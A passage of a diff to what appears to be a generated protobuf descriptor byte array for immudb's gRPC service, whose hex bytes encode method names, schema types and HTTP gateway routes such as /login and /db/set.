0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, - 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, - 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, - 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, - 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, + 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, + 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, + 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, + 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, + 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, + 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, + 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, + 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, + 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, - 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, + 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, + 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, + 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, + 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, + 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, - 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, - 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x6f, 